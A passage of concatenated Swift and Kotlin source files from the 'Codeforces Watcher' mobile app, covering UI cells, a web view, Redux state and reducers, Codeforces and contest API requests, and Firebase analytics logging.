UserDefaults.standard.removePersistentDomain(forName: domain)
UserDefaults.standard.synchronize()
}
}
<file_sep>package io.xorum.codeforceswatcher.features.actions.models
import kotlinx.serialization.Serializable
@Serializable
data class CFAction(
val timeSeconds: Long,
val blogEntry: BlogEntry,
val comment: Comment? = null
) {
val id: Int
get() = hashCode()
val link: String
get() = comment?.let {
"https://codeforces.com/blog/entry/${blogEntry.id}?#comment-${comment.id}"
} ?: "https://codeforces.com/blog/entry/${blogEntry.id}"
}
<file_sep>//
// NoActionsView.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/14/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import UIKit
import TinyConstraints
class NoActionsTableViewCell: UITableViewCell {
private let noActionsImageView = UIImageView(image: UIImage(named: "noItemsImage"))
private let noActionsLabel = UILabel().apply {
$0.font = Font.textHeading
$0.textColor = Pallete.black
$0.text = "Recent Actions are on the way to your device...".localized
$0.numberOfLines = 0
}
override init(style: UITableViewCell.CellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
setupView()
}
required init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
setupView()
}
private func setupView() {
self.selectionStyle = .none
buildViewTree()
setConstraints()
}
func buildViewTree() {
[noActionsImageView, noActionsLabel].forEach(self.addSubview)
}
func setConstraints() {
noActionsImageView.run {
$0.centerXToSuperview()
$0.centerYToSuperview(offset: -(16 + noActionsLabel.frame.height))
}
noActionsLabel.run {
$0.topToBottom(of: noActionsImageView, offset: 16)
$0.textAlignment = .center
$0.leadingToSuperview(offset: 16)
$0.trailingToSuperview(offset: 16)
}
}
}
<file_sep>package io.xorum.codeforceswatcher.network.responses
import kotlinx.serialization.Serializable
@Serializable
data class PinnedPost(
val title: String,
val link: String
)<file_sep>//
// WebViewController.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/29/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import WebKit
import FirebaseAnalytics
import PKHUD
class WebViewController: UIViewController, WKUIDelegate, WKNavigationDelegate {
private lazy var webView = WKWebView(frame: .zero, configuration: WKWebViewConfiguration()).apply {
$0.uiDelegate = self
$0.allowsBackForwardNavigationGestures = true
$0.navigationDelegate = self
}
var link: String!
var shareText: String!
var openEventName: String! = ""
var shareEventName: String! = ""
override func viewDidLoad() {
PKHUD.sharedHUD.contentView = PKHUDProgressView()
PKHUD.sharedHUD.userInteractionOnUnderlyingViewsEnabled = true
PKHUD.sharedHUD.show()
onLoadViewLogEvent()
super.viewDidLoad()
view = webView
navigationItem.rightBarButtonItem = UIBarButtonItem(image: UIImage(named: "shareImage"), style: .plain, target: self, action: #selector(shareTapped))
openWebPage()
}
override func viewWillDisappear(_ animated: Bool) {
super.viewWillDisappear(animated)
PKHUD.sharedHUD.hide(afterDelay: 0)
}
@objc func shareTapped() {
let activityController = UIActivityViewController(activityItems: [shareText!], applicationActivities: nil)
activityController.popoverPresentationController?.barButtonItem = navigationItem.rightBarButtonItem
present(activityController, animated: true, completion: nil)
onShareViewLogEvent()
}
func onLoadViewLogEvent() {
guard !openEventName.isEmpty else { return }
Analytics.logEvent(openEventName, parameters: [:])
}
func onShareViewLogEvent() {
guard !shareEventName.isEmpty else { return }
Analytics.logEvent(shareEventName, parameters: [:])
}
func openWebPage() {
if let url = URL(string: link) {
webView.load(URLRequest(url: url))
}
}
func webView(_ webView: WKWebView, didFinish navigation: WKNavigation!) {
PKHUD.sharedHUD.hide(afterDelay: 0)
}
func webView(_ webView: WKWebView, didFail navigation: WKNavigation!, withError error: Error) {
PKHUD.sharedHUD.hide(afterDelay: 0)
}
}
<file_sep>//
// Action.swift
// Codeforces Watcher
//
// Created by <NAME> on 12/31/19.
// Copyright © 2019 xorum.io. All rights reserved.
//
import Foundation
import ObjectMapper
struct CFAction: Mappable {
var timeSeconds: Int!
var blogEntry: BlogEntry!
var comment: Comment?
init?(map: Map) {}
mutating func mapping(map: Map) {
timeSeconds <- map["timeSeconds"]
blogEntry <- map["blogEntry"]
comment <- map["comment"]
}
}
<file_sep>//
// FetchUsers.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/6/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import Alamofire
struct FetchUsersRequest {
func execute(handles: String, completion: @escaping ([User]) -> ()) {
let request = Alamofire.request("\(codeforcesApiLink)user.info?handles=\(handles)", parameters: ["lang": "en"])
request.validate().responseString { response in
switch response.result {
case .success:
if let json = response.result.value, let usersResponse = UsersResponse(JSONString: json)?.users {
print("Success fetching users")
DispatchQueue.main.async { completion(usersResponse) }
} else {
print("Error")
}
case .failure:
print("Error")
}
}
}
static func buildHandlesString(actions: [CFAction]) -> String {
var handlesArray: [String] = []
for action in actions {
if let handle = action.comment?.commentatorHandle {
handlesArray.append(handle)
} else {
handlesArray.append(action.blogEntry.authorHandle!)
}
}
return handlesArray.joined(separator: ";")
}
}
<file_sep>//
// Constants.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/8/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import UIKit
let codeforcesLink = "https://codeforces.com/"
let codeforcesApiLink = "\(codeforcesLink)api/"
let noImage = UIImage(named: "no-image.jpg")
let kontestsApiLink = "https://www.kontests.net/api/v1/"
<file_sep>//
// AppDelegate.swift
// Codeforces Watcher
//
// Created by <NAME> on 12/30/19.
// Copyright © 2019 xorum.io. All rights reserved.
//
import UIKit
import ReSwift
import Firebase
let store = Store<AppState>(
reducer: appReducer,
state: AppState(),
middleware: [appMiddleware]
)
@UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate {
var window: UIWindow?
let rootViewController = MainViewController()
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {
UINavigationBar.appearance().run {
$0.isTranslucent = false
$0.barTintColor = Pallete.colorPrimary
$0.tintColor = Pallete.white
$0.titleTextAttributes = [NSAttributedString.Key.foregroundColor: Pallete.white,
NSAttributedString.Key.font: Font.textPageTitle]
}
UITabBar.appearance().run {
$0.isTranslucent = false
}
window = UIWindow(frame: UIScreen.main.bounds)
window!.rootViewController = rootViewController
window!.makeKeyAndVisible()
if #available(iOS 13.0, *) {
window?.overrideUserInterfaceStyle = .light
}
store.dispatch(ContestsRequests.FetchCodeforcesContests())
FirebaseApp.configure()
return true
}
}
<file_sep>//
// UsersResponse.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/6/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import ObjectMapper
struct UsersResponse: Mappable {
var users: [User] = []
init?(map: Map) {}
mutating func mapping(map: Map) {
users <- map["result"]
}
}
<file_sep>package io.xorum.codeforceswatcher.features.contests.redux.requests
import com.soywiz.klock.DateTime
import io.xorum.codeforceswatcher.features.contests.models.Contest
import io.xorum.codeforceswatcher.features.contests.models.Platform
import io.xorum.codeforceswatcher.network.CodeforcesApiClient
import io.xorum.codeforceswatcher.network.KontestsApiClient
import io.xorum.codeforceswatcher.network.responses.ContestResponse
import io.xorum.codeforceswatcher.redux.Message
import io.xorum.codeforceswatcher.redux.Request
import io.xorum.codeforceswatcher.redux.ToastAction
import io.xorum.codeforceswatcher.redux.store
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.async
import tw.geothings.rekotlin.Action
class ContestsRequests {
class FetchContests(val isInitiatedByUser: Boolean) : Request() {
override suspend fun execute() {
val responseCodeforces = CoroutineScope(Dispatchers.Default).async { CodeforcesApiClient.getCodeforcesContests() }
val responseKontests = CoroutineScope(Dispatchers.Default).async { KontestsApiClient.getAllContests() }
val contests = normalizeCodeforcesContests(responseCodeforces.await()?.result) + normalizeAllContests(responseKontests.await())
if (contests.isEmpty()) {
dispatchFailure()
} else {
store.dispatch(Success(contests))
}
}
private fun normalizeCodeforcesContests(contests: List<Contest>?) = contests?.map { it.copy(startTimeSeconds = it.startTimeSeconds * 1000) }.orEmpty()
private fun normalizeAllContests(contests: List<ContestResponse>?) = contests?.filter {
val contest = it.toContest()
contest.platform != Platform.CODEFORCES && contest.startTimeSeconds >= DateTime.now().unixMillis
}?.map { it.toContest() }.orEmpty()
private fun dispatchFailure() {
store.dispatch(Failure(if (isInitiatedByUser) Message.NoConnection else Message.None))
}
data class Success(val contests: List<Contest>) : Action
data class Failure(override val message: Message) : ToastAction
}
class ChangeFilterCheckStatus(val platform: Platform, val isChecked: Boolean) : Action
}
<file_sep>//
// NavigationView.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/15/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import UIKit
class MainViewController: UITabBarController {
private let controllers = [
ActionsViewController().apply(title: "Actions", iconNamed: "actionsIcon"),
ContestsViewController().apply(title: "Contests", iconNamed: "contestsIcon"),
ProblemsViewController().apply(title: "Problems", iconNamed: "problemsIcon")
]
required init() {
super.init(nibName: nil, bundle: nil)
setupView()
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
private func setupView() {
viewControllers = controllers.map { UINavigationController(rootViewController: $0) }
}
}
fileprivate extension UIViewController {
func apply(title: String, iconNamed: String) -> UIViewController {
let tabBarItem = UITabBarItem(title: title.localized, image: UIImage(named: iconNamed), selectedImage: nil)
self.title = title.localized
self.tabBarItem = tabBarItem
return self
}
}
<file_sep>//
// ContestTableViewCell.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/15/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import UIKit
import EventKit
class ContestTableViewCell: UITableViewCell {
private var onCalendarTap: (() -> ())!
private let cardView = CardView()
private var logoView = UIImageView().apply {
$0.layer.run {
$0.cornerRadius = 18
$0.masksToBounds = true
$0.borderWidth = 1
$0.borderColor = Pallete.colorPrimary.cgColor
}
}
private let nameLabel = UILabel().apply {
$0.font = Font.textHeading
$0.textColor = Pallete.black
}
private let timeLabel = UILabel().apply {
$0.font = Font.textSubheadingBig
$0.textColor = Pallete.grey
}
private let calendarAddIcon = UIImageView(image: UIImage(named: "calendarAddIcon"))
override init(style: UITableViewCell.CellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
setupView()
}
required init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
setupView()
}
@objc func calendarIconTapped(recognizer: UITapGestureRecognizer) {
onCalendarTap()
}
private func setupView() {
self.selectionStyle = .none
calendarAddIcon.run {
$0.isUserInteractionEnabled = true
$0.addGestureRecognizer(UITapGestureRecognizer(target: self, action: #selector(calendarIconTapped)))
}
buildViewTree()
setConstraints()
}
private func buildViewTree() {
contentView.addSubview(cardView)
[logoView, nameLabel, timeLabel, calendarAddIcon].forEach(cardView.addSubview)
}
private func setConstraints() {
cardView.edgesToSuperview(insets: UIEdgeInsets(top: 8, left: 8, bottom: 0, right: 8))
logoView.run {
$0.leadingToSuperview(offset: 8)
$0.height(36)
$0.width(36)
$0.centerYToSuperview()
}
calendarAddIcon.run {
$0.trailingToSuperview(offset: 10)
$0.centerYToSuperview()
}
nameLabel.run {
$0.topToSuperview(offset: 8)
$0.leadingToTrailing(of: logoView, offset: 8)
$0.trailingToSuperview(offset: 48)
}
timeLabel.run {
$0.topToBottom(of: nameLabel, offset: 4)
$0.leadingToTrailing(of: logoView, offset: 8)
}
}
func bind(_ contestItem: ContestItem, completion: @escaping (() -> ())) {
nameLabel.text = contestItem.name
timeLabel.text = contestItem.startTime
onCalendarTap = completion
logoView.image = contestItem.icon
}
}
<file_sep>package com.bogdan.codeforceswatcher.features.actions.models
import android.text.SpannableStringBuilder
import com.bogdan.codeforceswatcher.CwApp
import com.bogdan.codeforceswatcher.R
import com.bogdan.codeforceswatcher.features.users.colorTextByUserRank
import com.bogdan.codeforceswatcher.util.convertFromHtml
import io.xorum.codeforceswatcher.features.actions.models.CFAction
import io.xorum.codeforceswatcher.network.responses.PinnedPost
import io.xorum.codeforceswatcher.util.avatar
sealed class ActionItem {
class CommentItem(action: CFAction) : ActionItem() {
var commentatorHandle: CharSequence
var title: String = action.blogEntry.title.convertFromHtml()
var content: String
var commentatorAvatar: String
val time: Long = action.timeSeconds
val link = action.link
init {
val comment = action.comment ?: throw NullPointerException()
commentatorAvatar = avatar(comment.commentatorAvatar ?: throw IllegalStateException())
commentatorHandle = buildHandle(comment.commentatorHandle, comment.commentatorRank)
content = comment.text.convertFromHtml()
}
private fun buildHandle(handle: String, rank: String?): CharSequence {
val colorHandle = colorTextByUserRank(handle, rank)
val commentedByString = CwApp.app.getString(R.string.commented_by)
val handlePosition = commentedByString.indexOf("%1\$s")
return SpannableStringBuilder(commentedByString)
.replace(handlePosition, handlePosition + "%1\$s".length, colorHandle)
}
}
class BlogEntryItem(action: CFAction) : ActionItem() {
val authorHandle: CharSequence
val blogTitle: String
val authorAvatar: String
val time: Long = action.timeSeconds
val link = action.link
init {
with(action) {
authorAvatar = avatar(blogEntry.authorAvatar ?: throw IllegalStateException())
authorHandle = colorTextByUserRank(blogEntry.authorHandle, blogEntry.authorRank)
blogTitle = blogEntry.title.convertFromHtml()
}
}
}
class PinnedItem(pinnedPost: PinnedPost) : ActionItem() {
val title = pinnedPost.title
val link = pinnedPost.link
}
object Stub : ActionItem()
}
<file_sep>//
// ProblemItem.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/17/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
struct ProblemItem {
var shareText: String
var title: String!
var round: String!
var link: String
var englishTitle: String!
var russianTitle: String!
init(problem: Problem, roundName: String?) {
title = "\(problem.contestId!)\(problem.index!): \(problem.name!)"
round = roundName
link = "\(codeforcesLink)contest/\(problem.contestId!)/problem/\(problem.index!)"
shareText = """
\(title!) - \(link)
Shared through Codeforces Watcher. Find it on App Store.
"""
}
init(englishProblemItem: ProblemItem, russianTitle: String) {
self = englishProblemItem
englishTitle = englishProblemItem.title
self.russianTitle = russianTitle
}
}
<file_sep>package io.xorum.codeforceswatcher.features.users.models
import kotlinx.serialization.Serializable
@Serializable
data class RatingChange(
val contestId: Int,
val contestName: String,
val handle: String,
val rank: Int,
val ratingUpdateTimeSeconds: Long,
val oldRating: Int,
val newRating: Int
)
<file_sep>package io.xorum.codeforceswatcher.features.actions.redux.reducers
import io.xorum.codeforceswatcher.features.actions.redux.requests.ActionsRequests
import io.xorum.codeforceswatcher.features.actions.redux.states.ActionsState
import io.xorum.codeforceswatcher.redux.states.AppState
import tw.geothings.rekotlin.Action
fun actionsReducer(action: Action, state: AppState): ActionsState {
var newState = state.actions
when (action) {
is ActionsRequests.FetchActions.Success -> {
newState = newState.copy(
actions = action.actions,
status = ActionsState.Status.IDLE
)
}
is ActionsRequests.FetchActions -> {
newState = newState.copy(status = ActionsState.Status.PENDING)
}
is ActionsRequests.FetchActions.Failure -> {
newState = newState.copy(status = ActionsState.Status.IDLE)
}
is ActionsRequests.FetchPinnedPost.Success -> {
newState = newState.copy(pinnedPost = action.pinnedPost)
}
is ActionsRequests.RemovePinnedPost -> {
newState = newState.copy(pinnedPost = null)
}
}
return newState
}
<file_sep>package com.bogdan.codeforceswatcher.ui
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.view.*
import android.widget.Toast
import androidx.fragment.app.DialogFragment
import com.bogdan.codeforceswatcher.R
import com.bogdan.codeforceswatcher.util.Prefs
import kotlinx.android.synthetic.main.dialog_rate.btnMaybe
import kotlinx.android.synthetic.main.dialog_rate.btnNo
import kotlinx.android.synthetic.main.dialog_rate.btnYes
class AppRateDialog : DialogFragment(), View.OnClickListener {
private val prefs = Prefs.get()
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return View.inflate(activity, R.layout.dialog_rate, container)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
dialog.window?.requestFeature(Window.FEATURE_NO_TITLE)
btnMaybe.setOnClickListener(this)
btnNo.setOnClickListener(this)
btnYes.setOnClickListener(this)
}
override fun onClick(view: View) {
when (view.id) {
R.id.btnYes -> onClickYes()
R.id.btnNo -> onClickNo()
}
dismiss()
}
private fun onClickYes() {
try {
val uri = Uri.parse(GP_MARKET + requireContext().packageName)
requireContext().startActivity(Intent(Intent.ACTION_VIEW, uri))
prefs.appRated()
} catch (e: Exception) {
Toast.makeText(
requireContext(),
getString(R.string.google_play_not_found),
Toast.LENGTH_SHORT
).show()
e.printStackTrace()
dismiss()
}
}
private fun onClickNo() {
prefs.appRated()
}
override fun onStart() {
super.onStart()
dialog?.window?.setLayout(
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.WRAP_CONTENT
)
}
companion object {
private const val GP_MARKET = "market://details?id="
}
}
<file_sep>//
// FilterTableViewCell.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/28/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import UIKit
class FilterTableViewCell: UITableViewCell {
private var logoView = UIImageView().apply {
$0.layer.run {
$0.cornerRadius = 20
$0.masksToBounds = true
$0.borderWidth = 1
$0.borderColor = Pallete.colorPrimary.cgColor
}
}
private let nameLabel = UILabel().apply {
$0.font = Font.textHeading
$0.textColor = Pallete.black
}
private let switchView = UISwitch().apply {
$0.onTintColor = Pallete.colorPrimary
}
private var onSwitchChanged: ((Bool) -> ())!
override init(style: UITableViewCell.CellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
setupView()
}
required init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
setupView()
}
private func setupView() {
self.selectionStyle = .none
buildViewTree()
setConstraints()
switchView.addTarget(self, action: #selector(switchTrigger), for: UIControl.Event.valueChanged)
}
@objc func switchTrigger(mySwitch: UISwitch) {
onSwitchChanged(switchView.isOn)
}
func buildViewTree() {
[logoView, nameLabel, switchView].forEach(self.addSubview)
}
func setConstraints() {
logoView.run {
$0.leadingToSuperview(offset: 16)
$0.height(40)
$0.width(40)
$0.centerYToSuperview()
}
nameLabel.run {
$0.centerYToSuperview()
$0.leadingToTrailing(of: logoView, offset: 8)
}
switchView.run {
$0.centerYToSuperview()
$0.trailingToSuperview(offset: 16)
}
}
func bind(platform: Platform, completion: @escaping ((_ isOn: Bool) -> ())) {
logoView.image = UIImage(named: platform.rawValue)
nameLabel.text = platform.rawValue
switchView.isOn = store.state.contests.filters[platform]!
onSwitchChanged = completion
}
}
<file_sep>//
// Created by <NAME> on 11/01/2020.
// Copyright (c) 2020 xorum.io. All rights reserved.
//
import Foundation
import ReSwift
let notificationStatusWindow = NotificationStatusWindow(frame: CGRect.zero)
let appMiddleware: Middleware<AppState> = { dispatch, getState in
return { next in
return { action in
switch action {
case let request as Request:
request.execute()
case _ as ContestsRequests.FetchCodeforcesContests.Failure:
store.dispatch(ContestsRequests.FetchAllContests())
// Need to get contest name by id in Problems tab
case _ as ContestsRequests.FetchCodeforcesContests.Success:
store.dispatch(ContestsRequests.FetchAllContests())
store.dispatch(ProblemsRequests.FetchProblems())
case let messageAction as MessageAction:
notificationStatusWindow.fireNotification(message: messageAction.message)
default:
break
}
next(action)
}
}
}
<file_sep>//
// NotificationStatusWindow.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/22/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import UIKit
import ReSwift
import TinyConstraints
class NotificationStatusWindow: UIWindow {
let controller = NotificationStatusController()
override init(frame: CGRect) {
super.init(frame: CGRect.zero)
windowLevel = UIWindow.Level.statusBar
rootViewController = controller
rootViewController?.view.bounds = self.bounds
}
required init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
}
func fireNotification(message: String) {
frame = CGRect(x: 0, y: 0, width: 180, height: 40)
let screenSize = UIScreen.main.bounds
center = CGPoint(x: screenSize.midX, y: screenSize.maxY - 100)
controller.run {
$0.label.text = message
$0.statusView.backgroundColor = Pallete.red
}
isHidden = false
makeKeyAndVisible()
alpha = 0
UIView.animate(withDuration: 0.3) {
self.alpha = 0.99
}
DispatchQueue.main.asyncAfter(deadline: .now() + 3.5) {
UIView.animate(withDuration: 1.0, animations: {
self.alpha = 0
}, completion: { (_) in
self.isHidden = true
})
}
}
}
class NotificationStatusController: UIViewController {
let statusView = UIView(frame: CGRect.zero)
let visualView = UIVisualEffectView(effect: UIBlurEffect(style: .dark)).apply {
$0.layer.cornerRadius = 8
$0.clipsToBounds = true
}
let label = UILabel(frame: CGRect.zero).apply {
$0.font = Font.textBody
$0.backgroundColor = .clear
$0.textAlignment = .center
$0.textColor = .white
$0.numberOfLines = 0
}
init() {
super.init(nibName: nil, bundle: nil)
}
required init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
}
override func viewDidLoad() {
super.viewDidLoad()
setupView()
}
func setupView() {
view.run {
$0.backgroundColor = .clear
$0.layer.cornerRadius = 8
$0.clipsToBounds = true
}
buildViewTree()
setConstraints()
}
func buildViewTree() {
[visualView, label, statusView].forEach(view.addSubview)
}
func setConstraints() {
label.edges(to: view)
visualView.edges(to: view)
statusView.run {
$0.leading(to: view)
$0.top(to: view)
$0.bottom(to: view)
$0.width(6)
}
}
}
<file_sep>//
// ActionsResponse.swift
// Codeforces Watcher
//
// Created by <NAME> on 12/31/19.
// Copyright © 2019 xorum.io. All rights reserved.
//
import Foundation
import ObjectMapper
struct ActionsResponse: Mappable {
var actions: [CFAction] = []
init?(map: Map) {}
mutating func mapping(map: Map) {
actions <- map["result"]
}
}
<file_sep>//
// ContestsRulesTableViewCell.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/27/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import UIKit
class ContestsRulesView: UIView {
private let cardView = CardView()
private let titleLabel = UILabel().apply {
$0.text = "Official Codeforces rules".localized
$0.font = Font.textHeading
$0.textColor = Pallete.black
}
private let subtitleLabel = UILabel().apply {
$0.text = "Apple isn't a sponsor of any contests conducted on Codeforces".localized
$0.font = Font.textSubheadingBig
$0.textColor = Pallete.grey
}
public override init(frame: CGRect) {
super.init(frame: frame)
setupView()
}
public required init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
setupView()
}
private func setupView() {
buildViewTree()
setConstraints()
}
private func buildViewTree() {
self.addSubview(cardView)
[titleLabel, subtitleLabel].forEach(cardView.addSubview)
}
private func setConstraints() {
self.height(63)
cardView.edgesToSuperview(insets: UIEdgeInsets(top: 8, left: 8, bottom: 0, right: 8))
titleLabel.run {
$0.topToSuperview(offset: 8)
$0.leadingToSuperview(offset: 8)
$0.trailingToSuperview(offset: 48)
}
subtitleLabel.run {
$0.topToBottom(of: titleLabel, offset: 4)
$0.leadingToSuperview(offset: 8)
$0.trailingToSuperview(offset: 8)
}
}
}
<file_sep>package com.bogdan.codeforceswatcher.features.actions
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.fragment.app.Fragment
import androidx.swiperefreshlayout.widget.SwipeRefreshLayout
import com.bogdan.codeforceswatcher.R
import com.bogdan.codeforceswatcher.features.actions.models.ActionItem
import com.bogdan.codeforceswatcher.util.Analytics
import com.bogdan.codeforceswatcher.util.Refresh
import io.xorum.codeforceswatcher.features.actions.models.CFAction
import io.xorum.codeforceswatcher.features.actions.redux.requests.ActionsRequests
import io.xorum.codeforceswatcher.features.actions.redux.states.ActionsState
import io.xorum.codeforceswatcher.redux.store
import io.xorum.codeforceswatcher.util.settings
import kotlinx.android.synthetic.main.fragment_users.*
import tw.geothings.rekotlin.StoreSubscriber
import java.util.*
class ActionsFragment : Fragment(), SwipeRefreshLayout.OnRefreshListener,
StoreSubscriber<ActionsState> {
private lateinit var actionsAdapter: ActionsAdapter
override fun onStart() {
super.onStart()
store.subscribe(this) { state ->
state.skipRepeats { oldState, newState ->
oldState.actions == newState.actions
}.select { it.actions }
}
}
override fun onStop() {
super.onStop()
store.unsubscribe(this)
}
private fun buildActionItems(actions: List<CFAction>) =
actions.map {
if (it.comment != null) {
ActionItem.CommentItem(it)
} else {
ActionItem.BlogEntryItem(it)
}
}
override fun newState(state: ActionsState) {
if (state.status == ActionsState.Status.PENDING) {
swipeRefreshLayout.isRefreshing = true
} else {
swipeRefreshLayout.isRefreshing = false
val items = mutableListOf<ActionItem>()
state.pinnedPost?.let {
if (settings.readPinnedPostLink() != it.link) items.add(ActionItem.PinnedItem(it))
}
items.addAll(buildActionItems(state.actions))
actionsAdapter.setItems(items)
}
}
override fun onRefresh() {
store.dispatch(ActionsRequests.FetchActions(true, Locale.getDefault().language))
store.dispatch(ActionsRequests.FetchPinnedPost())
Analytics.logRefreshingData(Refresh.ACTIONS)
}
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View = inflater.inflate(R.layout.fragment_actions, container, false)
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
initViews()
}
private fun initViews() {
swipeRefreshLayout.setOnRefreshListener(this)
actionsAdapter = ActionsAdapter(requireContext()) { link, title ->
startActivity(WebViewActivity.newIntent(requireContext(), link, title))
}
recyclerView.adapter = actionsAdapter
}
}
<file_sep>//
// Created by <NAME> on 11/01/2020.
// Copyright (c) 2020 xorum.io. All rights reserved.
//
import Foundation
import ReSwift
struct AppState: StateType {
var actions = ActionsState()
var contests = ContestsState()
var problems = ProblemsState()
}
struct ActionsState: StateType {
var actionItems: [ActionItem] = []
var status: Status = Status.IDLE
enum Status {
case IDLE
case PENDING
}
}
struct ContestsState: StateType {
var contestItems: [ContestItem] = []
var status: Status = Status.IDLE
var filters: [Platform: Bool] = [:]
enum Status {
case IDLE
case PENDING
}
init() {
filters = PersistenceController.getContestsFilters()
if (filters.isEmpty) {
for platform in Platform.allCases[..<(Platform.allCases.count - 2)] {
filters[platform] = true
}
}
}
}
struct ProblemsState: StateType {
var problemItems: [ProblemItem] = []
var status: Status = Status.IDLE
enum Status {
case IDLE
case PENDING
}
}
<file_sep>package com.bogdan.codeforceswatcher.util
import android.os.Bundle
import com.bogdan.codeforceswatcher.CwApp
import com.google.firebase.analytics.FirebaseAnalytics
import io.xorum.codeforceswatcher.features.contests.models.Platform
enum class Refresh { USERS, CONTESTS, ACTIONS, PROBLEMS }
object Analytics {
private var isEnabled: Boolean = true
private val instance = FirebaseAnalytics.getInstance(CwApp.app)
fun logAddContestToCalendarEvent(contestName: String, platform: Platform) {
if (isEnabled) {
val params = Bundle()
params.putString("contest_name", contestName)
params.putSerializable("contest_platform", platform)
instance.logEvent("add_contest_to_google_calendar", params)
}
}
fun logRefreshingData(refresh: Refresh) {
if (isEnabled) {
instance.logEvent(when (refresh) {
Refresh.USERS -> "users_list_refresh"
Refresh.CONTESTS -> "contests_list_refresh"
Refresh.ACTIONS -> "actions_list_refresh"
Refresh.PROBLEMS -> "problems_list_refresh"
}, Bundle())
}
}
fun logUserAdded() {
if (isEnabled) {
instance.logEvent("user_added", Bundle())
}
}
fun logShareApp() {
if (isEnabled) {
instance.logEvent("actions_share_app", Bundle())
}
}
fun logAppShared() {
if (isEnabled) {
instance.logEvent("actions_app_shared", Bundle())
}
}
fun logShareComment() {
if (isEnabled) {
instance.logEvent("action_share_comment", Bundle())
}
}
fun logShareProblem() {
if (isEnabled) {
instance.logEvent("problem_shared", Bundle())
}
}
fun logActionOpened() {
if (isEnabled) {
instance.logEvent("action_opened", Bundle())
}
}
fun logProblemOpened() {
if (isEnabled) {
instance.logEvent("problem_opened", Bundle())
}
}
fun logPinnedPostOpened() {
if (isEnabled) {
instance.logEvent("actions_pinned_post_opened", Bundle())
}
}
fun logPinnedPostClosed() {
if (isEnabled) {
instance.logEvent("actions_pinned_post_closed", Bundle())
}
}
}
<file_sep>package io.xorum.codeforceswatcher.features.actions.redux.states
import io.xorum.codeforceswatcher.features.actions.models.CFAction
import io.xorum.codeforceswatcher.network.responses.PinnedPost
import tw.geothings.rekotlin.StateType
data class ActionsState(
val status: Status = Status.IDLE,
val actions: List<CFAction> = listOf(),
val pinnedPost: PinnedPost? = null
) : StateType {
enum class Status { IDLE, PENDING }
}
<file_sep>//
// Comment.swift
// Codeforces Watcher
//
// Created by <NAME> on 12/31/19.
// Copyright © 2019 xorum.io. All rights reserved.
//
import Foundation
import ObjectMapper
struct Comment: Mappable {
var id: Int!
var text: String!
var commentatorHandle: String!
init?(map: Map) {}
mutating func mapping(map: Map) {
id <- map["id"]
text <- map["text"]
commentatorHandle <- map["commentatorHandle"]
}
}
<file_sep>//
// ProblemTableViewCell.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/17/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import UIKit
class ProblemTableViewCell: UITableViewCell {
private let cardView = CardView()
private let nameLabel = UILabel().apply {
$0.font = Font.textHeading
$0.textColor = Pallete.black
}
private let contestLabel = UILabel().apply {
$0.font = Font.textSubheadingBig
$0.textColor = Pallete.grey
}
private let starIcon = UIImageView(image: UIImage(named: "starIcon")).apply {
$0.isHidden = true
}
override init(style: UITableViewCell.CellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
setupView()
}
required init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
setupView()
}
private func setupView() {
self.selectionStyle = .none
buildViewTree()
setConstraints()
}
private func buildViewTree() {
contentView.addSubview(cardView)
[nameLabel, contestLabel, starIcon].forEach(cardView.addSubview)
}
private func setConstraints() {
cardView.edgesToSuperview(insets: UIEdgeInsets(top: 8, left: 8, bottom: 0, right: 8))
starIcon.run {
$0.trailingToSuperview(offset: 10)
$0.centerYToSuperview()
}
nameLabel.run {
$0.topToSuperview(offset: 8)
$0.leadingToSuperview(offset: 8)
$0.trailingToSuperview(offset: 48)
}
